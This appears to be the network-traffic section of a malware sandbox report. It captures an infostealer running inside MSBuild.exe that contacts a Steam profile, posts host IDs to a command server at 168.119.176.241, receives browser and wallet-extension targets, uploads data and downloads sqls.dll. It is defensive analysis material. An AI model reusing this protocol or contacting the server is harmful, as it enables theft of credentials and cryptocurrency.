2024-08-04 00:21:47 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------CFIEHCFIECBGCBFHIJJKCont
2024-08-04 00:21:48 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49764	104.102.49.249	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:53 UTC	119	OUT	GET /profiles/76561199747278259 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:54 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 04 Aug 2024 00:21:53 GMT Content-Length: 34745 Connection: close Set-Cookie: sessionid=4bf3c2e4b08368ff18d0b215; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-08-04 00:21:54 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-08-04 00:21:54 UTC	16384	IN	Data Raw: 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 Data Ascii: , 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions">
2024-08-04 00:21:54 UTC	3768	IN	Data Raw: 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c Data Ascii: ue,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div><
2024-08-04 00:21:54 UTC	79	IN	Data Raw: 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49765	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:54 UTC	234	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49766	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:55 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 278 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:55 UTC	278	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 38 34 33 30 41 34 30 44 42 42 38 38 33 38 38 34 31 37 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 4b Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="hwid"468430A40DBB883884179-a33c7340-61ca-11ee-8c18-806e6f6e6963------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------K
2024-08-04 00:21:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:56 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 62 36 62 36 34 38 38 31 64 36 38 66 30 65 32 32 30 63 35 65 30 66 37 30 39 34 61 64 39 34 37 64 7c 31 7c 31 7c 31 7c 30 7c 31 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|b6b64881d68f0e220c5e0f7094ad947d\|1\|1\|1\|0\|1\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49767	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:57 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 36 62 36 34 38 38 31 64 36 38 66 30 65 32 32 30 63 35 65 30 66 37 30 39 34 61 64 39 34 37 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"b6b64881d68f0e220c5e0f7094ad947d------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------BGIJDGCAEBFIIECAKFHICont
2024-08-04 00:21:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:57 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49768	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:58 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:58 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 36 62 36 34 38 38 31 64 36 38 66 30 65 32 32 30 63 35 65 30 66 37 30 39 34 61 64 39 34 37 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"b6b64881d68f0e220c5e0f7094ad947d------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------DGCAAFBFBKFIDGDHJDBKCont
2024-08-04 00:21:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:59 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49770	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:59 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:59 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 36 62 36 34 38 38 31 64 36 38 66 30 65 32 32 30 63 35 65 30 66 37 30 39 34 61 64 39 34 37 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"b6b64881d68f0e220c5e0f7094ad947d------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------BFIJEHCBAKFCAKFHCGDGCont
2024-08-04 00:22:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:22:00 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49771	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:22:01 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 6801 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:22:01 UTC	6801	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 36 62 36 34 38 38 31 64 36 38 66 30 65 32 32 30 63 35 65 30 66 37 30 39 34 61 64 39 34 37 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"b6b64881d68f0e220c5e0f7094ad947d------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------BGIJDGCAEBFIIECAKFHICont
2024-08-04 00:22:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:22:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49772	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:22:02 UTC	242	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:22:02 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:22:02 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:22:02 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:22:02 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
